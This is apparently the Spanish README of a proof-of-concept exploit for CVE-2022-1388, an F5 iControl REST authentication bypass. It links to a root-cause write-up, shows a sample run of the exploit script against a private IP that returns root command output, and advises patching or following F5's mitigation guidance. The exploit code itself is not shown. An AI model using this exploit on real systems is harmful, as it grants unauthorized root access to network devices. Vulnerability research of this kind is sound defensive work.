
PoC para CVE-2022-1388
POC para CVE-2022-1388 que afecta a múltiples productos F5.
Un análisis técnico de la causa raíz de la vulnerabilidad se puede encontrar en nuestro blog: https://www.horizon3.ai/f5-icontrol-rest-endpoint-authentication-bypass-technical-deep-dive/
Condiciones necesarias de una solicitud para explotar esta vulnerabilidad:
root@kali:/home/dev# python3 CVE-2022-1388.py -t 192.168.0.221 -c id
uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:initrc_t:s0
Actualice a la última versión o mitigue siguiendo las instrucciones del Aviso de seguridad de F5
Este software ha sido creado únicamente con fines de investigación académica y para el desarrollo de técnicas defensivas eficaces, y no está destinado a utilizarse para atacar sistemas salvo que se encuentre expresamente autorizado. Los mantenedores del proyecto no son responsables del mal uso del software. Úselo con responsabilidad.